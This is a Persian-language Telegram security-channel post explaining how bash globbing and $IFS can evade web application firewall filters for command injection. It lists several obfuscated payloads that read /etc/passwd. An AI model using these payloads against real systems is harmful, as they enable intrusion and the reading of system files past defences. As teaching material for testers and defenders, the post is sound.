TGViewer
P.F.K Security P.F.K Security @pfksecurity · 2.1K subscribers
Post #202 787
⌨ بایپس فایروال برنامه وب (WAF) با globbing

Bash
می تواند جایگزینی نام فایل را انجام دهد، پروسسی به نام "globbing"، اما از مجموعه استاندارد عبارات منظم استفاده نمی کند.

اگر یک WAF (فایروال برنامه وب) وجود دارد که پیلودهای RCE (اجرای کد از راه دور) و LFI (شامل فایل محلی) را فیلتر می کند، می توانید با جایگزینی آن را دور بزنید.

به عنوان مثال:

/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd

? = هر شخصیت واحد
* = هر رشته ای، از جمله یک رشته با طول صفر!
$IFS =
جداکننده فیلد داخلی در سیستم های یونیکس = فضا، تب یا خط جدید

به عنوان مثال، تمام ورودی های زیر باید "/bin/cat /etc/passwd" را در یک سیستم لینوکس معمولی انجام دهند:

/*/?at$IFS/???/???swd
/****/?at$IFS/???/*swd
/**/?at$IFS/???/**swd

می تونی امتحان کنی!

#web
@pfksecurity
  • 👍 4
More from @pfksecurity
  1. Oct 10, 2026📌 استفاده از ماشین‌های مجازی برای بایپس کردن ابزارهای امنیتی 📌 مهاجمان همچنان به آزمایش…
  2. Oct 10, 2026برای پیدا کردن یک Vulnerability، چقدر باید از داخل نرم‌ افزار بدونی؟ فرض کن قراره یک نرم‌…
  3. Oct 4, 2026📌 اVulnerability Research با Penetration Testing یکی نیست. این دو تا خیلی جاها کنار هم اس…
  4. Oct 2, 2026ویندوز و مک بدون اجازه‌ ت کلی داده ازت جمع میکنن لینوکس این کار رو نمیکنه (یا حداقل کنترلش…
  5. Sep 28, 2026CVE یعنی چی؟ احتمالاً وقتی درباره یک آسیب‌ پذیری میخونی، اولین چیزی که میبینی یک شماره شبی…
  6. Sep 27, 2026ویندوز از هر عکسی که تا حالا پاک کردی، یه تصویر کوچک (thumbnail) نگه میداره. این تصاویر دا…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →